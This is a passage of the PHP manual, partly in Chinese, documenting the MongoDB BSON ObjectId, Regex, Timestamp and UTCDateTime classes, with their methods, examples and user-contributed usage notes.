var_dump((new MongoDB\BSON\ObjectId())->getTimestamp());

var_dump((new MongoDB\BSON\ObjectId('0000002a0000000000000000'))->getTimestamp());

?>

以上示例的输出类似于：

integer(1484854719)
integer(42)

参见

  • » ObjectId Reference
  • » BSON Types: ObjectId

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\ObjectId::getTimestamp
  • MongoDB\BSON\ObjectId::serialize ?
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Returns a representation that can be converted to JSON

MongoDB\BSON\ObjectId::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\ObjectId::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\ObjectId.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize an ObjectId

  • ? MongoDB\BSON\ObjectId::jsonSerialize
  • MongoDB\BSON\ObjectId::__toString ?
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Serialize an ObjectId

MongoDB\BSON\ObjectId::serialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::serialize — Serialize an ObjectId

说明

final public MongoDB\BSON\ObjectId::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\ObjectId.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\ObjectId::unserialize() - Unserialize an ObjectId
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the hexidecimal representation of this ObjectId

  • ? MongoDB\BSON\ObjectId::serialize
  • MongoDB\BSON\ObjectId::unserialize ?
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Returns the hexidecimal representation of this ObjectId

MongoDB\BSON\ObjectId::__toString

(mongodb >=1.0.0)

MongoDB\BSON\ObjectId::__toString — Returns the hexidecimal representation of this ObjectId

说明

final public MongoDB\BSON\ObjectId::__toString(): string

参数

此函数没有参数。

返回值

Returns the hexidecimal representation of this ObjectId.

示例

Example #1 MongoDB\BSON\ObjectId::__toString() example

<?php

var_dump((string) new MongoDB\BSON\ObjectId());
var_dump((string) new MongoDB\BSON\ObjectId('000000000000000000000001'));

?>

以上示例的输出类似于：

string(24) "56731b49da14d8747d701211"
string(24) "000000000000000000000001"

参见

  • » ObjectId Reference
  • » BSON Types: ObjectId

User Contributed Notes

Jared C. 14-Jul-2016 03:31
I found I had to manually call the __toString method when I was trying to populate an associative array of mongoguid => stringValue:

        $filter = [];
        $options = [];
        $this->propertyMap = [];
        try {
            $query = new \MongoDB\Driver\Query($filter, $options);
            $cursor = $this->mongo->executeQuery('MyDbName.MyColectionName', $query);
        } catch (Exception $e) {
            echo "Mongo Query failure pulling the collection" . PHP_EOL;
            echo($e->getMessage());
            die("aborting");
        }
        foreach ($cursor as $property) {
            //$this->propertyMap[$property->{_id}->__toString()] = $property->name;
            $this->propertyMap[$property->name] = $property->{_id}->__toString();
        }

You could also do it as $property->{_id} . "" to get the same string result.  Otherwise you end up with an array of MongoDB\BSON\ObjectID objects.


Unserialize an ObjectId

  • ? MongoDB\BSON\ObjectId::__toString
  • MongoDB\BSON\Regex ?
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Unserialize an ObjectId

MongoDB\BSON\ObjectId::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::unserialize — Unserialize an ObjectId

说明

final public MongoDB\BSON\ObjectId::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\ObjectId.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\ObjectId::serialize() - Serialize an ObjectId
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Regex class

(mongodb >=1.0.0)

简介

BSON type for a regular expression pattern and optional » flags.

Note: This BSON type is mainly used when querying the database. Alternatively, the » $regex query operator may be used.

类摘要

final class MongoDB\BSON\Regex implements MongoDB\BSON\RegexInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final public __construct(string $pattern, string $flags = "")
final public getFlags(): string
final public getPattern(): string
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.
PECL mongodb 1.3.0 | Implements MongoDB\BSON\RegexInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\Regex::__construct — Construct a new Regex
  • MongoDB\BSON\Regex::getFlags — Returns the Regex's flags
  • MongoDB\BSON\Regex::getPattern — Returns the Regex's pattern
  • MongoDB\BSON\Regex::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Regex::serialize — Serialize a Regex
  • MongoDB\BSON\Regex::__toString — Returns the string representation of this Regex
  • MongoDB\BSON\Regex::unserialize — Unserialize a Regex

User Contributed Notes

anD 08-Jul-2017 12:28
Refer the example at:
http://docs.php.net/manual/en/mongodb-bson-regex.construct.php#refsect1-mongodb-bson-regex.construct-examples
aws dot htc at gmail dot com 27-Sep-2016 06:26
Example
Find names that start with "Al"

$regex = new MongoDB\BSON\Regex ( '^Al');
$cursor = $collection->find(array('name' => $regex));
//iterate through the cursor


Construct a new Regex

  • ? MongoDB\BSON\Regex
  • MongoDB\BSON\Regex::getFlags ?
  • PHP Manual
  • MongoDB\BSON\Regex
  • Construct a new Regex

MongoDB\BSON\Regex::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Regex::__construct — Construct a new Regex

说明

final public MongoDB\BSON\Regex::__construct(string $pattern, string $flags = "")

参数

pattern (string)

The regular expression pattern.

Note: The pattern should not be wrapped with delimiter characters.

flags (string)

The » regular expression flags. Characters in this argument will be sorted alphabetically.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if pattern or flags contain null bytes.

更新日志

版本 说明
PECL mongodb 1.2.0

The flags argument is optional and defaults to an empty string.

Characters in the flags argument will be sorted alphabetically when a Regex is constructed. Previously, the characters were stored in the order provided.

MongoDB\Driver\Exception\InvalidArgumentException is thrown if pattern or flags contain null bytes. Previously, values would be truncated at the first null byte.

示例

Example #1 MongoDB\BSON\Regex::__construct() example

<?php

$regex = new MongoDB\BSON\Regex('^foo', 'i');
var_dump($regex);

?>

以上示例会输出：

object(MongoDB\BSON\Regex)#1 (2) {
  ["pattern"]=>
  string(4) "^foo"
  ["flags"]=>
  string(1) "i"
}

参见

  • » BSON Types
  • » Supported regular expression flags

User Contributed Notes

Alejandro Wilcke 06-Sep-2019 02:32
This matches with any fieldName that includes the string:
$mongoRegex = new MongoDB\BSON\Regex("$string", "i");

This matches with any fieldName that STARTS with the string:
$mongoRegex = new MongoDB\BSON\Regex("^$string", "i");

$cursor = $collection->find( [ 'fieldName' => $mongoRegex ] );

$docs = [];

foreach($cursor as $doc){
     $docs[] = $doc;
}

return $docs;


Returns the Regex's flags

  • ? MongoDB\BSON\Regex::__construct
  • MongoDB\BSON\Regex::getPattern ?
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns the Regex's flags

MongoDB\BSON\Regex::getFlags

(mongodb >=1.0.0)

MongoDB\BSON\Regex::getFlags — Returns the Regex's flags

说明

final public MongoDB\BSON\Regex::getFlags(): string

参数

此函数没有参数。

返回值

Returns the Regex's flags.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\Regex::getFlags() example

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump($regex->getFlags());

?>

以上示例的输出类似于：

string(1) "i"

参见

  • » BSON Types
  • » Supported regular expression flags

User Contributed Notes

There are no user contributed notes for this page.


Returns the Regex's pattern

  • ? MongoDB\BSON\Regex::getFlags
  • MongoDB\BSON\Regex::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns the Regex's pattern

MongoDB\BSON\Regex::getPattern

(mongodb >=1.0.0)

MongoDB\BSON\Regex::getPattern — Returns the Regex's pattern

说明

final public MongoDB\BSON\Regex::getPattern(): string

参数

此函数没有参数。

返回值

Returns the Regex's pattern.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\Regex::getPattern() example

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump($regex->getPattern());

?>

以上示例的输出类似于：

string(5) "regex"

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Regex::getPattern
  • MongoDB\BSON\Regex::serialize ?
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Regex::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Regex::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Regex.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Regex

  • ? MongoDB\BSON\Regex::jsonSerialize
  • MongoDB\BSON\Regex::__toString ?
  • PHP Manual
  • MongoDB\BSON\Regex
  • Serialize a Regex

MongoDB\BSON\Regex::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::serialize — Serialize a Regex

说明

final public MongoDB\BSON\Regex::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Regex.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Regex::unserialize() - Unserialize a Regex
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Regex

  • ? MongoDB\BSON\Regex::serialize
  • MongoDB\BSON\Regex::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Regex
  • Returns the string representation of this Regex

MongoDB\BSON\Regex::__toString

(mongodb >=1.0.0)

MongoDB\BSON\Regex::__toString — Returns the string representation of this Regex

说明

final public MongoDB\BSON\Regex::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this Regex.

示例

Example #1 MongoDB\BSON\Regex::__toString() example

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump((string) $regex);

?>

以上示例会输出：

string(8) "/regex/i"

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Regex

  • ? MongoDB\BSON\Regex::__toString
  • MongoDB\BSON\Timestamp ?
  • PHP Manual
  • MongoDB\BSON\Regex
  • Unserialize a Regex

MongoDB\BSON\Regex::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::unserialize — Unserialize a Regex

说明

final public MongoDB\BSON\Regex::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Regex.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\Regex::serialize() - Serialize a Regex
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Timestamp class

(mongodb >=1.0.0)

简介

Represents a » BSON timestamp, The value consists of a 4-byte timestamp (i.e. seconds since the epoch) and a 4-byte increment.

Note: This is an internal MongoDB type used for replication and sharding. It is not intended for general date storage (MongoDB\BSON\UTCDateTime should be used instead).

类摘要

final class MongoDB\BSON\Timestamp implements MongoDB\BSON\TimestampInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final public __construct(int $increment, int $timestamp)
final public getIncrement(): int
final public getTimestamp(): int
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.
PECL mongodb 1.3.0 | Implements MongoDB\BSON\TimestampInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\Timestamp::__construct — Construct a new Timestamp
  • MongoDB\BSON\Timestamp::getIncrement — Returns the increment component of this Timestamp
  • MongoDB\BSON\Timestamp::getTimestamp — Returns the timestamp component of this Timestamp
  • MongoDB\BSON\Timestamp::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Timestamp::serialize — Serialize a Timestamp
  • MongoDB\BSON\Timestamp::__toString — Returns the string representation of this Timestamp
  • MongoDB\BSON\Timestamp::unserialize — Unserialize a Timestamp

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Timestamp

  • ? MongoDB\BSON\Timestamp
  • MongoDB\BSON\Timestamp::getIncrement ?
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Construct a new Timestamp

MongoDB\BSON\Timestamp::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Timestamp::__construct — Construct a new Timestamp

说明

final public MongoDB\BSON\Timestamp::__construct(int $increment, int $timestamp)

参数

increment (int)

32-bit integer denoting the incrementing ordinal for operations within a given second.

timestamp (int)

32-bit integer denoting seconds since the Unix epoch.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\BSON\Timestamp::__construct() example

<?php

$timestamp = new MongoDB\BSON\Timestamp(1234, 5678);

?>

以上示例会输出：

object(MongoDB\BSON\Timestamp)#1 (2) {
  ["increment"]=>
  int(1234)
  ["timestamp"]=>
  int(5678)
}

参见

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Returns the increment component of this Timestamp

  • ? MongoDB\BSON\Timestamp::__construct
  • MongoDB\BSON\Timestamp::getTimestamp ?
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns the increment component of this Timestamp

MongoDB\BSON\Timestamp::getIncrement

(mongodb >=1.3.0)

MongoDB\BSON\Timestamp::getIncrement — Returns the increment component of this Timestamp

说明

final public MongoDB\BSON\Timestamp::getIncrement(): int

The increment component of a Timestamp is its least significant 32 bits, whichs denotes the incrementing ordinal for operations within a given second. This value is read as an unsigned 32-bit integer with big-endian byte order.

Note: Because PHP's integer type is signed, some values returned by this method may appear as negative integers on 32-bit platforms. The "%u" formatter of sprintf() may be used to obtain a string representation of the unsigned decimal value.

参数

此函数没有参数。

返回值

Returns the increment component of this Timestamp.

Warning

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Returns the timestamp component of this Timestamp

  • ? MongoDB\BSON\Timestamp::getIncrement
  • MongoDB\BSON\Timestamp::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns the timestamp component of this Timestamp

MongoDB\BSON\Timestamp::getTimestamp

(mongodb >=1.3.0)

MongoDB\BSON\Timestamp::getTimestamp — Returns the timestamp component of this Timestamp

说明

final public MongoDB\BSON\Timestamp::getTimestamp(): int

The timestamp component of a Timestamp is its most significant 32 bits, which denotes the number of seconds since the Unix epoch. This value is read as an unsigned 32-bit integer with big-endian byte order.

Note: Because PHP's integer type is signed, some values returned by this method may appear as negative integers on 32-bit platforms. The "%u" formatter of sprintf() may be used to obtain a string representation of the unsigned decimal value.

参数

此函数没有参数。

返回值

Returns the timestamp component of this Timestamp.

Warning

On 32-bit systems this method may return a negative number. Although the increment and timestamp parts of the BSON timestamp type consists of two unsigned 32-bit values, PHP can not represent these on 32-bit platforms.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Timestamp::getTimestamp
  • MongoDB\BSON\Timestamp::serialize ?
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Timestamp::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Timestamp::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Timestamp.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Timestamp

  • ? MongoDB\BSON\Timestamp::jsonSerialize
  • MongoDB\BSON\Timestamp::__toString ?
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Serialize a Timestamp

MongoDB\BSON\Timestamp::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::serialize — Serialize a Timestamp

说明

final public MongoDB\BSON\Timestamp::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Timestamp.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Timestamp::unserialize() - Unserialize a Timestamp
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Timestamp

  • ? MongoDB\BSON\Timestamp::serialize
  • MongoDB\BSON\Timestamp::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Returns the string representation of this Timestamp

MongoDB\BSON\Timestamp::__toString

(mongodb >=1.0.0)

MongoDB\BSON\Timestamp::__toString — Returns the string representation of this Timestamp

说明

final public MongoDB\BSON\Timestamp::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this Timestamp.

示例

Example #1 MongoDB\BSON\Timestamp::__toString() example

<?php

$timestamp = new MongoDB\BSON\Timestamp(1234, 5678);
var_dump((string) $timestamp);

?>

以上示例的输出类似于：

string(11) "[1234:5678]"

参见

  • » BSON Types: Timestamps

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Timestamp

  • ? MongoDB\BSON\Timestamp::__toString
  • MongoDB\BSON\UTCDateTime ?
  • PHP Manual
  • MongoDB\BSON\Timestamp
  • Unserialize a Timestamp

MongoDB\BSON\Timestamp::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Timestamp::unserialize — Unserialize a Timestamp

说明

final public MongoDB\BSON\Timestamp::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Timestamp.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\Timestamp::serialize() - Serialize a Timestamp
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\UTCDateTime class

(mongodb >=1.0.0)

简介

Represents a » BSON date. The value is a 64-bit integer that represents the number of milliseconds since the Unix epoch (Jan 1, 1970). Negative values represent dates before 1970.

类摘要

final class MongoDB\BSON\UTCDateTime implements MongoDB\BSON\UTCDateTimeInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final public __construct(int|float|string|DateTimeInterface|null $milliseconds = null)
final public jsonSerialize(): mixed
final public serialize(): string
final public toDateTime(): DateTime
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.
PECL mongodb 1.3.0 | Implements MongoDB\BSON\UTCDateTimeInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

Table of Contents

  • MongoDB\BSON\UTCDateTime::__construct — Construct a new UTCDateTime
  • MongoDB\BSON\UTCDateTime::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\UTCDateTime::serialize — Serialize a UTCDateTime
  • MongoDB\BSON\UTCDateTime::toDateTime — Returns the DateTime representation of this UTCDateTime
  • MongoDB\BSON\UTCDateTime::__toString — Returns the string representation of this UTCDateTime
  • MongoDB\BSON\UTCDateTime::unserialize — Unserialize a UTCDateTime

User Contributed Notes

Stephen 30-Jul-2018 08:49
When using MongoDB\BSON\UTCDateTime to query be sure for instances of strtotime you are putting the constructor in milliseconds:

$start = new MongoDB\BSON\UTCDateTime(strtotime("midnight") * 1000);
$filter = ['date' => ['$gte' => $start]];
$options = ['sort' => ['date' => -1]];
$query = new MongoDB\Driver\Query($filter,$options);
mike at brenden dot com 12-Dec-2017 07:10
SOURCE [url]https://github.com/mongodb/mongo-php-driver/issues/187[/url]

MichaelBrenden --

How do the two Mongo drivers determine if they can translate something into the ISODate format?

Does mongo.so require a class type of MongoDate, or does it determine by data returned by __toString() (i.e., "0.12345678 1234567890")?

Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

jmikola --

>> the ISODate format?

For the record, ISODate is just a helper function in the mongo shell. The actual BSON type is 0x09 in the BSON spec and is best referred to as "UTC date time".
[url]https://docs.mongodb.com/manual/core/shell-types/#return-date[/url]
[url]http://bsonspec.org/spec.html[/url]

 >> Does mongodb.so require a class type of \MongoDB\BSON\UTCDateTime, or does it determine by data returned by __toString() (i.e., "1234567890123")?

The driver requires a MongoDB\BSON\UTCDateTime object in order to encode a BSON date type. The relevant instanceof check during BSON encoding is here if you care to see it. The __toString() function exists purely as a convenience for userland applications. The driver does not use it outside of tests.
[url]https://github.com/mongodb/mongo-php-driver/blob/1.3.4/src/bson-encode.c#L215[/url]

The legacy mongo.so driver is similar in that it requires a MongoDate object in order to encode a BSON date type (relevant code is here).
[url]https://github.com/mongodb/mongo-php-driver-legacy/blob/1.6.16/bson.c#L273[/url]
mark at DONTSPAM dot moderndeveloperllc dot com 27-Oct-2016 02:09
Be careful using UTCDateTime if you need microsecond precision as this class only stores time to the _millisecond_. You need to store the date as a string in MongoDB if you want the full precision. Casting DateTime to a float can also remove precision.

An easy way to see the differences is with:

Code:
var_dump(
  (new DateTime)->format('U.u'),
  (float) (new DateTime)->format('U.u'),
  (new MongoDB\BSON\UTCDateTime())->toDateTime()->format('U.u')
);

Output:
string(17) "1477534060.918415"
double(1477534060.9185)
string(17) "1477534060.918000"

NOTE: Lots of bugs concerning microsecond formatting for DateTimeInterface classes were fixed as of PHP 7.1.0 RC4. The above code is from PHP 7.1.0 RC5 and mongodb 1.2.0alpha3. The 1.2.0 version of the extension added the ability to instantiate this class without passing integer milliseconds.


Construct a new UTCDateTime

  • ? MongoDB\BSON\UTCDateTime
  • MongoDB\BSON\UTCDateTime::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Construct a new UTCDateTime

MongoDB\BSON\UTCDateTime::__construct

(mongodb >=1.0.0)

MongoDB\BSON\UTCDateTime::__construct — Construct a new UTCDateTime

说明

final public MongoDB\BSON\UTCDateTime::__construct(int|float|string|DateTimeInterface|null $milliseconds = null)

参数

milliseconds (int|float|string|DateTimeInterface|null)

Number of milliseconds since the Unix epoch (Jan 1, 1970). Negative values represent dates before 1970. This value may be provided as a 64-bit int. For compatibility on 32-bit systems, this parameter may also be provided as a float or string.

If the argument is a DateTimeInterface, the number of milliseconds since the Unix epoch will be derived from that value.

If this argument is null, the current time will be used by default.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.2.0 | The milliseconds argument is optional and defaults to null (i.e. current time). The argument also accepts a DateTimeInterface, which may be used to derive the number of milliseconds since the Unix epoch. Previously, only int, float, and string types were accepted.

示例

Example #1 MongoDB\BSON\UTCDateTime::__construct() example

<?php

var_dump(new MongoDB\BSON\UTCDateTime);

var_dump(new MongoDB\BSON\UTCDateTime(new DateTime));

var_dump(new MongoDB\BSON\UTCDateTime(1416445411987));

?>

以上示例的输出类似于：

object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1484852905560"
}
object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1484852905560"
}
object(MongoDB\BSON\UTCDateTime)#1 (1) {
  ["milliseconds"]=>
  string(13) "1416445411987"
}

参见

  • » BSON Types: Date

User Contributed Notes

0xff00ff at gmail dot com 06-Jun-2016 05:00
$utcdatetime = new MongoDB\BSON\UTCDateTime($unixtimestamp * 1000);
jesperbendtsen83 at gmail dot com 21-Jan-2016 10:30
The problem with integer => string is only on 32 bit systems
jesperbendtsen83 at gmail dot com 14-Jan-2016 10:58
For me to get it work with php 5.6 on an iis 7.5, it had to be a string

$utcdatetime = new MongoDB\BSON\UTCDateTime('1416445411987');


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\UTCDateTime::__construct
  • MongoDB\BSON\UTCDateTime::serialize ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Returns a representation that can be converted to JSON

MongoDB\BSON\UTCDateTime::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\UTCDateTime::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\UTCDateTime.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a UTCDateTime

  • ? MongoDB\BSON\UTCDateTime::jsonSerialize
  • MongoDB\BSON\UTCDateTime::toDateTime ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTime
  • Serialize a UTCDateTime

MongoDB\BSON\UTCDateTime::serialize

(mongodb >=1.2.0)

MongoDB\BSON\UTCDateTime::serialize — Serialize a UTCDateTime

说明

final public MongoDB\BSON\UTCDateTime::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\UTCDateTime.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\UTCDateTime::unserialize() - Unserialize a UTCDateTime
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


